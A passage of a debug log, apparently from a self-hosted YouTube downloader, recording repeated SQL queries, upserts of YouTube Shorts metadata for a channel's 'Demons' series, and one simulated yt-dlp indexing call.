livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 19:22:07.337 [debug] Current batch of media processed. Will check again in 1000ms 19:22:08.338 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 19:22:08.339 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:08.339 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:08.339 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 19:22:08.340 [debug] QUERY OK source="media_items" db=0.4ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "d75a3359-8bd7-4ca7-9a87-e73e60cde98b", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 02:22:08Z], ~U[2026-08-20 02:22:08Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 19:22:08.341 [debug] QUERY OK source="sources" db=0.1ms idle=39.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:08.341 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:08.341 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 19:22:08.342 [debug] Current batch of media processed. Will check again in 1000ms 19:22:09.342 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 19:22:09.343 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:09.343 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:09.343 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 19:22:09.344 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.2ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "ebbcc7ad-b252-4bb1-aa95-f6122bbde873", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 02:22:09Z], ~U[2026-08-20 02:22:09Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 19:22:09.345 [debug] QUERY OK source="sources" db=0.2ms idle=42.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:09.345 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:22:09.346 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 19:22:09.346 [debug] Current batch of media processed. Will check again in 1000ms 19:22:10.163 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/79/2e/792e6e6731bdc43ee8725b1ca09b948ac52d08010b8cc7847ab143a5c6aed997.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/93/9c/939ce63c5805a04847f4faf0e2c1fdeee26ed2669992062cfe7a930681942ed3.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:22:10.164 [debug] Gracefully stopping file follower 19:22:10.164 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=820.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 19:22:10.165 [debug] QUERY OK source="sources" db=0.2ms idle=820.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.165 [debug] QUERY OK source="media_items" db=0.2ms idle=820.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 19:22:10.166 [debug] QUERY OK source="media_items" db=0.5ms idle=820.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "9ab5aad7-c01f-430e-890f-c8f8d2caaa3e", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 19:22:10.167 [debug] QUERY OK source="sources" db=0.2ms idle=820.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.167 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 19:22:10.168 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "56c71fbf-c4e3-46a3-b835-221ab48c0fca", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 19:22:10.168 [debug] QUERY OK source="sources" db=0.3ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.169 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 19:22:10.170 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "58f656c4-8b30-4e94-adae-eb4933f252ba", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 19:22:10.170 [debug] QUERY OK source="sources" db=0.2ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.170 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 19:22:10.171 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "3f62d257-64b8-45a7-97e6-4d8150cafff6", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 19:22:10.172 [debug] QUERY OK source="sources" db=0.2ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.172 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 19:22:10.173 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "b4d93d45-45da-4773-b57c-4fa3cd6985ac", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 19:22:10.173 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 19:22:10.173 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 19:22:10.174 [debug] QUERY OK source="media_items" db=0.5ms idle=2.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "c68d8898-2e8f-44a4-a1c1-cfa75b8f4c33", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 02:22:10Z], ~U[2026-08-20 02:22:10Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 19:22:10.175 [debug] QUERY OK source="sources" db=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 